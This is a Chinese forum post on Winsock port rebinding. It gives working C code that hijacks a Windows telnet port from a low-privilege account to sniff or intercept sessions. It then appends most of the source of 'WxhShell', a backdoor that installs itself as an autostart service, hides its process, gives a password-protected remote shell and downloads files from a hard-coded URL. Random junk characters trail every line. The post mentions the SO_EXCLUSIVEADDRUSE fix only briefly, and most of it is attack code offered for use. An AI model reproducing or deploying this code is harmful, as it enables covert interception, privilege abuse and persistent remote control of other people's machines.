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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:  T},Nqt<  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); eL[BH8l  
.YKqYN?y4  
  saddr.sin_family = AF_INET; @ 6w\q?.s  
w?|gJ*B"  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); WDNuR #J?  
6cQh8_/>{#  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); @2c Gx/1#  
w0(A7L:L  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 xH#R_  
9IZ}}x  
  这意味着什么?意味着可以进行如下的攻击: UmZ#Cm  
ig3HPlC  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 fx2r\ usX[  
: &>PN,q>  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) zBV7b| j  
,E2Tw-%  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ORHs1/L`j  
yPL1(i;  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  i7v> 9p7  
BR*,E~%  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Z;`ts/?SY]  
oY{L0B[  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 *}DCxv  
& F\HR  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Cg^=&1 |  
GZ( W6 4  
  #include 8%q:lI  
  #include o5)lTVQ~~  
  #include ^=Q/ H  
  #include    B%QvFxZz  
  DWORD WINAPI ClientThread(LPVOID lpParam);   H5j6$y|I|N  
  int main() E Mq P  
  { Li)rs<IX;m  
  WORD wVersionRequested; + pTc2z  
  DWORD ret; U[1Rw6  
  WSADATA wsaData; Ze_4MwC W  
  BOOL val; w'E&w)Z]  
  SOCKADDR_IN saddr; S)ZcH  
  SOCKADDR_IN scaddr; ;5QdT{$H  
  int err; Ry9kGdqO  
  SOCKET s; sw A^oU  
  SOCKET sc; jz;N&62|  
  int caddsize; HE#IJB6BS?  
  HANDLE mt; 2 ZW {  
  DWORD tid;   7 06-QE^  
  wVersionRequested = MAKEWORD( 2, 2 ); Dz4e.tvN  
  err = WSAStartup( wVersionRequested, &wsaData ); tGv5pe*r  
  if ( err != 0 ) { .BP@1K  
  printf("error!WSAStartup failed!\n"); .&fG_(6|  
  return -1; 9cQZ`Ex  
  } 5'=\$Ob  
  saddr.sin_family = AF_INET; },<(VhP  
   %X)w$}WH  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 nKpXRuFn\  
NH+?7rf8  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); }n/6.%  
  saddr.sin_port = htons(23); W u?A} fH  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &f48MtE  
  { KCEBJ{jM  
  printf("error!socket failed!\n"); s?r:McF`  
  return -1; W !TnS/O_1  
  } ,`kag~bZ  
  val = TRUE; eW%Cef  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 J?9K|4 )  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) g:&YSjO>G  
  { /,#HGu]q'  
  printf("error!setsockopt failed!\n"); =GH>-*qp  
  return -1; SStaS<q '  
  } /o@6? UH  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; W.u+R?a=  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 xv|?;Zf6w  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 x~3N})T5  
tgk] sQY  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) YQ/  
  { R.nAD{>h*  
  ret=GetLastError(); dQW=k^X 'U  
  printf("error!bind failed!\n"); |qe[`x; %  
  return -1; G':wJ7[]`  
  } Q> OBK&'  
  listen(s,2); cP8g. +  
  while(1) SLI(;, s  
  { ,6N|?<26O  
  caddsize = sizeof(scaddr); .T;:6/??1  
  //接受连接请求 iN\m:m  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); EyU5r$G  
  if(sc!=INVALID_SOCKET) I'W`XN  
  { MPaF  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); -;T!d  
  if(mt==NULL) K,B qVu  
  { i{T mn  
  printf("Thread Creat Failed!\n"); \0bao<  
  break; 7T7 A\  
  } l=+hs  
  } ,v<GSiO  
  CloseHandle(mt); ,v^A;,q  
  } ldFK3+V  
  closesocket(s); 5pC+*n.  
  WSACleanup(); jTSN`R9@  
  return 0; (tG8HwV-  
  }   ~bC-0^/ 8|  
  DWORD WINAPI ClientThread(LPVOID lpParam) wAt|'wP :  
  { K;uO<{a)r  
  SOCKET ss = (SOCKET)lpParam; $r3kAM;V:  
  SOCKET sc; G#uD CF,O  
  unsigned char buf[4096]; (*6kYkUK  
  SOCKADDR_IN saddr; v*Dz4K#  
  long num; (3. B\8s  
  DWORD val; }.ZT?p\  
  DWORD ret; 7\;4 d4u  
  //如果是隐藏端口应用的话,可以在此处加一些判断 &oJ1v<`  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   5f#N$mh  
  saddr.sin_family = AF_INET; ]{.iv_I  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); @la/sd4`  
  saddr.sin_port = htons(23); 8rV"? m`S  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) u4eA++ eT  
  { GvB;o^Wd  
  printf("error!socket failed!\n"); /w|!SZB  
  return -1; ab-z 7g  
  } `#g62wb,HY  
  val = 100; ~-J!WC==U  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >_3P6-L>  
  { FGRdA^`  
  ret = GetLastError(); H^TU?vz} <  
  return -1; %2q0lFdcM  
  } 5u5-:#sLy  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) L <QjkFj  
  { e9\eh? bPU  
  ret = GetLastError(); l.>3gjr  
  return -1; *(+*tj cWa  
  } v?Ds|  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) UR{OrNg*  
  { [}+h86:y  
  printf("error!socket connect failed!\n"); Y| dw>qO  
  closesocket(sc); 4lp9 0sa  
  closesocket(ss); D*_Z"q_B  
  return -1; uge~*S  
  } r*F^8_YMK  
  while(1) xGkc_  
  { 6d;_}  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 L>3-z>u,  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 #qnK nxD  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 /l%+l@  
  num = recv(ss,buf,4096,0); w/49O;rV  
  if(num>0) m=K46i+NE  
  send(sc,buf,num,0); +|K/*VVn`  
  else if(num==0) [gkOwU=?  
  break; U,g)N[|  
  num = recv(sc,buf,4096,0); |a|##/  
  if(num>0) .wpp)M.w;H  
  send(ss,buf,num,0); .Ce0yAl~  
  else if(num==0) a#pM9n~a  
  break; =".sCV9"N  
  } Dug{)h_2  
  closesocket(ss); )a=FhSB[G  
  closesocket(sc); 4 (>8tP\Y  
  return 0 ; F?c : ).g  
  } xoB "hNIX  
dq4t@:\o0  
O>c2*9PM  
========================================================== SB) Hz8<  
hpBn_  
下边附上一个代码,,WXhSHELL A+QOox]<  
Io*mFa?  
========================================================== ~a ]R7X7  
} Q1m  
#include "stdafx.h" Fs_zNN  
qK jUp"  
#include <stdio.h> aYmN' POi  
#include <string.h> K&IHt?vh!  
#include <windows.h> Y$4dqn  
#include <winsock2.h> X[E!q$ag  
#include <winsvc.h>  m1#,B<6  
#include <urlmon.h> gyT3[*eh  
Ir?ehA  
#pragma comment (lib, "Ws2_32.lib") 1i=p5,|  
#pragma comment (lib, "urlmon.lib") IKFNu9*"h  
KB`">zq$u  
#define MAX_USER   100 // 最大客户端连接数 _|C T|q  
#define BUF_SOCK   200 // sock buffer I AFj_VWC0  
#define KEY_BUFF   255 // 输入 buffer j"4]iI+{"  
+'`I]K>  
#define REBOOT     0   // 重启 Yw6d-5=:  
#define SHUTDOWN   1   // 关机 jQ X9KwSP  
Egm-PoPe  
#define DEF_PORT   5000 // 监听端口 X B[C&3I  
Fu*Qci1Z  
#define REG_LEN     16   // 注册表键长度 E/Adi^  
#define SVC_LEN     80   // NT服务名长度 q6T>y%|FZ  
Pm=i(TBS/  
// 从dll定义API q+1SU6x'm  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 52v@zDY  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); A5 <T7~U  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); nK>D& S_!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); s g6e% 5  
hNL_ e3  
// wxhshell配置信息 Wg[ThaZ  
struct WSCFG { Uv|^k8(  
  int ws_port;         // 监听端口 E>L_$J-A-  
  char ws_passstr[REG_LEN]; // 口令 a-Ne!M[  
  int ws_autoins;       // 安装标记, 1=yes 0=no MngfXm  
  char ws_regname[REG_LEN]; // 注册表键名 r.10b]b  
  char ws_svcname[REG_LEN]; // 服务名 [W--%=Ou  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 w@$_2t  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 x)prI6YMv\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &?0hj@kd~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [h@MA|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" NB .&J7v  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 g 6!#n  
 rT!9{uK  
}; an` GY&  
K/D,sH!  
// default Wxhshell configuration q@ %9Y3  
struct WSCFG wscfg={DEF_PORT, D]zpG  
    "xuhuanlingzhe", /e50&]2w  
    1, Jo9!:2?  
    "Wxhshell", =G-u "QJ6  
    "Wxhshell", E|BiK  
            "WxhShell Service", qp`G5bw  
    "Wrsky Windows CmdShell Service", .9u,54t  
    "Please Input Your Password: ", >YP]IQ  
  1, V~ [I /Vi  
  "http://www.wrsky.com/wxhshell.exe", z! DD'8r>  
  "Wxhshell.exe"  j.vBld  
    }; w*qmC<D$A  
I.L8A|nZ  
// 消息定义模块 //H3{^{  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; D OGg=`XK1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]qNPOnlp  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; F<^93a9  
char *msg_ws_ext="\n\rExit."; 90]{4]y;  
char *msg_ws_end="\n\rQuit."; Nk/Ms:57y  
char *msg_ws_boot="\n\rReboot..."; c69M   
char *msg_ws_poff="\n\rShutdown..."; Jm {~H%  
char *msg_ws_down="\n\rSave to "; <#5`%sa '  
hP]zC1s  
char *msg_ws_err="\n\rErr!"; %{K6   
char *msg_ws_ok="\n\rOK!"; &Vi0.o  
sAKQ.8$h*  
char ExeFile[MAX_PATH]; #Cz6c%yK  
int nUser = 0; t.tdY  
HANDLE handles[MAX_USER]; "Qxn}$6-  
int OsIsNt; MESPfS+  
aShZdeC*f  
SERVICE_STATUS       serviceStatus; i4*!t.eI  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; o]@g%_3X  
m8ydX6~max  
// 函数声明 hR3Pa'/i  
int Install(void); 0CS80 pC  
int Uninstall(void); ^jMo?Zwy  
int DownloadFile(char *sURL, SOCKET wsh); Or[uq,Dm16  
int Boot(int flag); 7LdNE|IP  
void HideProc(void); ne\N1`AU  
int GetOsVer(void); y$7@~NH,d  
int Wxhshell(SOCKET wsl); !kg)84C[  
void TalkWithClient(void *cs); vy+9Q5@W  
int CmdShell(SOCKET sock); tf@x}  
int StartFromService(void); ^iwM(d]#5  
int StartWxhshell(LPSTR lpCmdLine); dwt<s [k  
R WU,v{I9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); qnZ`]?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;o0o6pF  
7f`x-iH!]7  
// 数据结构和表定义 )gAFz+  
SERVICE_TABLE_ENTRY DispatchTable[] = Q`X5W  
{ m%?b"kxL[  
{wscfg.ws_svcname, NTServiceMain}, |Zo_x} 0  
{NULL, NULL} C'$}!p70  
}; B(%bBhs  
4D\+_Ic3  
// 自我安装 ,Uv8[ci%9  
int Install(void) x uDn:  
{ e`Z3{H}  
  char svExeFile[MAX_PATH]; H9Pe,eHs  
  HKEY key; 1yIo 'i1  
  strcpy(svExeFile,ExeFile); 6uH1dsD  
7J%v""\1!  
// 如果是win9x系统,修改注册表设为自启动 o ) FjWf;  
if(!OsIsNt) { FE/2.!]&o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8Bnw//_pT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y; eJo  
  RegCloseKey(key); ]Zf@NY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .W+ F<]r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R.)U<`||  
  RegCloseKey(key); !jDqRXi(  
  return 0; :`ysq  
    } 9N'um%J3%s  
  } y'k4>,`9e  
} 9/k?Lv  
else { (dC<N3  
&sx|sLw)  
// 如果是NT以上系统,安装为系统服务 5B<G;if,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); q[3b i!Q  
if (schSCManager!=0) )>LC*_v  
{ u? f3&pA  
  SC_HANDLE schService = CreateService #dGg !D  
  ( PHa#;6!5  
  schSCManager, r}~l(  
  wscfg.ws_svcname, ^JMSe-  
  wscfg.ws_svcdisp, :6z0Ep"  
  SERVICE_ALL_ACCESS, : |c,.uO  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :l>T~&/98  
  SERVICE_AUTO_START, cF[[_  
  SERVICE_ERROR_NORMAL, XabrX|B#  
  svExeFile, b+M[DwPw  
  NULL, 5W!E.fz*T  
  NULL, 6zLz<p?  
  NULL, nWK"i\2#G  
  NULL, FZ^byIS[  
  NULL ::vw 1Es  
  ); +G_6Ek4  
  if (schService!=0) /j' We-C  
  { ZtEHP`Iin  
  CloseServiceHandle(schService); `q exEk@S  
  CloseServiceHandle(schSCManager); ZX.VzZS  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !+M H?A  
  strcat(svExeFile,wscfg.ws_svcname); Dg#Ab8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #V8='qD  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^tuJM:  
  RegCloseKey(key); ANCgch\  
  return 0; {Pg7IYjH  
    } 7q|(ZZa  
  } M{7EFTy!y  
  CloseServiceHandle(schSCManager); nu$LWC-  
} `z3?ET  
} P N_QK Z  
Y#6@0Nn[G  
return 1; o\Hg2^YY>  
} T"Q4vk,3*J  
l{Hi5x'H  
// 自我卸载 ?XGZp?6  
int Uninstall(void) 3MjMN%{P  
{ ;:9 x.IkxC  
  HKEY key; xsFWF*HPs  
(cYc03"  
if(!OsIsNt) { &/\0_CoTR\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -JZl?hY(  
  RegDeleteValue(key,wscfg.ws_regname); ZrA\a#z"<  
  RegCloseKey(key); hBE}?J>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <UQ:1W8>B  
  RegDeleteValue(key,wscfg.ws_regname); 7B% @f9g  
  RegCloseKey(key); xm YA/wt8  
  return 0; cp?`\P  
  } mc(&'U8R0I  
} YQN=.Wtc  
} \lR~!6:  
else { =WEfo;  
-"a+<(Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); & ,&+/Sr11  
if (schSCManager!=0) ~.x!st}  
{ @-b}iP<T  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {=g-zsc]K  
  if (schService!=0) ?EX'j >  
  { w.l#Z} k  
  if(DeleteService(schService)!=0) { G)43Y!  
  CloseServiceHandle(schService); v:6b&wS L3  
  CloseServiceHandle(schSCManager); &9s6p6 eb  
  return 0; DO03vN  
  } 2z[Pw0#V  
  CloseServiceHandle(schService); o JA58/  
  } $LRFG(  
  CloseServiceHandle(schSCManager); &7DE$ S  
} $;;?'!%.  
} *qb`wg  
Op%^dwVG(v  
return 1; jSYj+k  
} @/0aj  
6xFZv t  
// 从指定url下载文件 K.z}%a  
int DownloadFile(char *sURL, SOCKET wsh) 9D#PO">|  
{ "4t Ry9q  
  HRESULT hr; *h =7:*n  
char seps[]= "/"; x(b&r g.-0  
char *token; $e*Nr=/  
char *file; ~4`wfOvO  
char myURL[MAX_PATH]; 2%8N<GW.F  
char myFILE[MAX_PATH]; *Nt6 Ufq6  
4UL-j  
strcpy(myURL,sURL); I$ mOy{/#  
  token=strtok(myURL,seps); n)K6Z{x  
  while(token!=NULL) AN~1E@"  
  { 6U /wFT!7$  
    file=token; a|7V{pp=M  
  token=strtok(NULL,seps); +u=xBhZ  
  } K5.C*|w  
iuHG9#n  
GetCurrentDirectory(MAX_PATH,myFILE); ;%jt;Xv9  
strcat(myFILE, "\\"); /BIPLDN6  
strcat(myFILE, file); If&p$pAH?  
  send(wsh,myFILE,strlen(myFILE),0); kcYR:;y  
send(wsh,"...",3,0); 4_"ZSVq]#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); B)-S@.u  
  if(hr==S_OK) T]vD ,I+  
return 0; '[-/X a['  
else ttw@nv% @  
return 1; yQx>h6  
;:!LAe  
} 2hp x%H  
u\E.H5u27  
// 系统电源模块 f(_qcgXp  
int Boot(int flag) 1Xs! ew)>  
{ U50X`J  
  HANDLE hToken; df:,5@CJ8  
  TOKEN_PRIVILEGES tkp; 8@qahEgQ  
%d7iQZb>  
  if(OsIsNt) { ZbGyl}8ua  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); isd[l-wAmf  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); LTY.i3  
    tkp.PrivilegeCount = 1; R #ZDB]2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Yj"UD:p  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); X! ]~]%K$y  
if(flag==REBOOT) { wk/->Rz  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ry< P LRN  
  return 0; xxiLi46/  
} 7Ow7|  
else { =0:hrg+Zgx  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~xJD3Qf  
  return 0; 4YCGh  
} 8zGzn%^  
  } 82=][9d #  
  else { 95<:-?4C;W  
if(flag==REBOOT) { RTU:J67E  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) o+t?OG/0  
  return 0; M)xK+f2_[  
} evs2dz<eA  
else { )5t_tPv  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Qpc{7#bp  
  return 0; xl9l>k6,  
} MJC Yi<D  
} }"8_$VDcz  
2 g8PU$T  
return 1; oD8-I^  
} OiOL 4}5(  
%x *f{(8h  
// win9x进程隐藏模块 Qm-P& g-  
void HideProc(void) gky_]7Av  
{ Qd./G5CC  
hnZHu\EJ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); q38; w~H  
  if ( hKernel != NULL ) )6j:Mbz   
  { s_[?(Ip{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); S3<v?tqLr  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Xm4wuX"e=  
    FreeLibrary(hKernel); QXz!1o+"  
  } S&Sf}uK  
m\>x_:sE  
return; x -!FS h8q  
} vuZ<'?Nm  
L~$RF {$  
// 获取操作系统版本 oN$ZZk R  
int GetOsVer(void) G](K2=  
{ mOB\ `&h5  
  OSVERSIONINFO winfo; :1=?/8h  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); CQ`(,F3(  
  GetVersionEx(&winfo); Jc)1}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %FU[ j^  
  return 1; ?MYD}`Cv  
  else la4 ,Z  
  return 0; =FbfV*K 9  
} E;4a(o]{t  
RFC;1+Jn  
// 客户端句柄模块 x\DkS,O  
int Wxhshell(SOCKET wsl) ' 7A7HDJ  
{ _#O?g=1  
  SOCKET wsh; >+#[O"  
  struct sockaddr_in client; JW\"S  
  DWORD myID; +Xp;T`,v  
-AT@M1K7%  
  while(nUser<MAX_USER) jveRiW@  
{ @\y7 9FX  
  int nSize=sizeof(client); P1QJ'eC;T  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Kq$Zyf=E  
  if(wsh==INVALID_SOCKET) return 1; ie!4z34  
`9+EhP$RS  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3EvA 5K.  
if(handles[nUser]==0) #+;=ijyF  
  closesocket(wsh); taQ[>x7b  
else 6`C27  
  nUser++; 7|-xM>L$A  
  } $ZRN#x@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Cf7\>U->  
x\rZoF.NQ  
  return 0; [f0HUbPX  
} }'W^Ki$  
|DW'RopM  
// 关闭 socket ]SL&x:/-  
void CloseIt(SOCKET wsh) 76b7-Nj"  
{ co3 ,8\N0  
closesocket(wsh); )9r%% #  
nUser--; 1Q5<6*QL"  
ExitThread(0); u-_$?'l;~  
} 7gwZ9Fob  
?/( K7>`  
// 客户端请求句柄 b-?o?}*  
void TalkWithClient(void *cs) Z?.*.<"Sj  
{ v+#j>   
6bcrPf}  
  SOCKET wsh=(SOCKET)cs; <.b$ gX  
  char pwd[SVC_LEN]; |S{P`)z%f  
  char cmd[KEY_BUFF]; lF( !(>YZ  
char chr[1]; Q /c WV  
int i,j; Lf#G?]@  
Wts{tb  
  while (nUser < MAX_USER) { `4 bd,  
shT[|@"C  
if(wscfg.ws_passstr) { mM* yv  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lrhAO"/1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k+[KD>;1  
  //ZeroMemory(pwd,KEY_BUFF); +ca296^  
      i=0; -ZP&zOsDr  
  while(i<SVC_LEN) { gKN_~{{OD  
b3xkJ&Z  
  // 设置超时 j/D)UWkR  
  fd_set FdRead; 8>Z$/1Mh  
  struct timeval TimeOut; P(epG?Qg  
  FD_ZERO(&FdRead); _}@n_E  
  FD_SET(wsh,&FdRead); ?(q*U!=  
  TimeOut.tv_sec=8; rx>Tc#g  
  TimeOut.tv_usec=0; 49oW 'j  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2^6TrZA7M6  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #2jn4>  
*\KMkx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <IyLLQ+v  
  pwd=chr[0]; @$d\5Q(G  
  if(chr[0]==0xd || chr[0]==0xa) { i\;&CzC:  
  pwd=0; `E=rh3 L0o  
  break; cqY.^f.  
  } \>Rwg=Lh  
  i++; .)> /!|i  
    } N&APqT  
{(}w4.!  
  // 如果是非法用户,关闭 socket ~'J =!Xy  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); LGROEn<*d  
} P0ltN  
t;dQ~e20  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +?Jk@lE<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gAA %x 7  
;"Y;l=9_  
while(1) { hlFU"u_  
R}wwC[{  
  ZeroMemory(cmd,KEY_BUFF); d Zz^9:C+  
p@8krOo`  
      // 自动支持客户端 telnet标准   qM>OE8c#/  
  j=0; {Okik}Oh  
  while(j<KEY_BUFF) { :Q ?J}N  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5**5b9bj-9  
  cmd[j]=chr[0]; d]ZC8<`w  
  if(chr[0]==0xa || chr[0]==0xd) { *{dD'9Bg  
  cmd[j]=0; 'Z2N{65  
  break; N~}v:rK>g  
  } #/t>}lc  
  j++; 92aDHECo  
    } wYQ1Z  
 K-5"#  
  // 下载文件 y- <PsP-I  
  if(strstr(cmd,"http://")) { B:- KZuO  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |369@un6  
  if(DownloadFile(cmd,wsh)) O\?5#.   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); IEoR7:  
  else ;}eEG{`Y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A,lw-(.z4Z  
  } ss`q{ARb  
  else { k;fnC+Y$s  
2x`xyR_Q.R  
    switch(cmd[0]) { -{8Q= N  
  im \ YL<  
  // 帮助 a&s"# j  
  case '?': { H"FflmUO  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); I"cQ5gF?A  
    break; x-V' 0-#U>  
  } lv\F+?]a  
  // 安装 jO&f*rxN  
  case 'i': { E8iadf49  
    if(Install()) %<=vbL9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9(^X2L&Z  
    else _N,KHxsG8B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }`9fZK{. @  
    break; e(n2+S#N  
    } Eo { 1y  
  // 卸载 =>:% n  
  case 'r': { C`)^~C_]`3  
    if(Uninstall()) N t>HztXd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P96Cw~<Q?  
    else `z$uw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t|#NMRz  
    break; RRI>bh]  
    } EAC(^+15K  
  // 显示 wxhshell 所在路径 uF]D  
  case 'p': { #>E3'5b   
    char svExeFile[MAX_PATH]; &Qtp"#{  
    strcpy(svExeFile,"\n\r"); f=_Bx2ub  
      strcat(svExeFile,ExeFile); b#Fk>j  
        send(wsh,svExeFile,strlen(svExeFile),0); M=\d_O#;Z  
    break; PK-}Ldj  
    } )-Mn"1ia  
  // 重启 do=x 9k@Q  
  case 'b': { UPVO~hB;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); '#McY'.D T  
    if(Boot(REBOOT)) iO?gF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); []=FZ`4  
    else { 0i`v:Lq%  
    closesocket(wsh); Y uw E 0  
    ExitThread(0); 2pxWv )0  
    } F;?TR[4!k  
    break; (EOec5qXU  
    } ]xJ'oBhy  
  // 关机 ^Kw&=u  
